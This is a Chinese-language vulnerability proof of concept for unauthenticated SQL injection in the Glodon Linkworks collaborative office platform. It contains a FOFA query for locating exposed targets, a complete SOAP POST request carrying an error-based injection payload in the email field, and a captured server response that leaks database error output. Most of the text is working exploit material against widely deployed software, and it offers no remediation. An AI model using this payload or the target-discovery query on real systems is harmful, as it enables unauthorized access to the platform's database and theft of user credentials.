

G3-6广联达-Linkworks协同办公管理平台-SQL

漏洞描述：

广联达-Linkworks协同办公管理平台 GetUserByEmployeeCode、GetUserByUserCode、EmailAccountOrgUserService.aspx等接口处存在SQL注入漏洞，未经身份认证的攻击者可获取用户名密码等敏感信息。

网站图片：



网络测绘：

fofa语法：

body="Services/Identification/login.ashx" || header="Services/Identification/login.ashx" || banner="Services/Identification/login.ashx"

漏洞复现：

payload:

```
POST /Mail/Services/EmailAccountOrgUserService.aspx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Type: text/xml
Content-Length: 394

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetUserInfosByEmail xmlns="http://tempuri.org/">
      <email>'') AND 5452 IN (SELECT (user)) AND ('oCSe'='oCSe</email>
    </GetUserInfosByEmail>
  </soap:Body>
</soap:Envelope>
```

效果图：

查询当前用户

Request

< > 数据包扫描 热加载 构造请求

1 POST /Mail/Services/EmailAccountOrgUserService.aspx HTTP/1.1

2 Host : your-ip

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0

4 Content-Type: text/xml

5

6 <?xml version="1.0" encoding="utf-8"?>

7 <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">

8 <soap:Body>

9 <GetUserInfosByEmail xmlns="http://tempuri.org/">

10 <email>'') AND 5452 IN (SELECT (user)) AND ('oCSe'='oCSe</email>

11 </GetUserInfosByEmail>

12 </soap:Body>

13 </soap:Envelope>

Responses 2477bytes / 53ms

1 HTTP/1.1 500 Internal Server Error

2 Cache-Control: private

3 Content-Type: text/xml; charset=utf-8

4 Server: Microsoft-IIS/8.5

5 X-AspNet-Version: 4.0.30319

6 X-Powered-By: ASP.NET

7 Date: Fri, 15 Dec 2023 08:44:20 GMT

8 Content-Length: 2477

9

10 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><soap:Fault><faultcode>System.Data.SqlClient.SqlException</faultcode><faultstring>在将 nvarchar 值 ' 在 System.Data.SqlClient.SqlConnection. breakConnection, Action`1:wrapCloseInAc 在 System.Data.SqlClient.TdsParser.Thro stateObj, Boolean callerHasConnectionLo 在 System.Data.SqlClient.TdsParser.TryR cmdHandler, SqlDataReader: dataStream, B TdsParserStateObject stateObj, Boolean& 在 System.Data.SqlClient.SqlDataReader. 在 System.Data.SqlClient.SqlDataReader. amp; more) 在 System.Data.SqlClient.SqlDataReader. 在 System.Data.Common.DataAdapter.Fill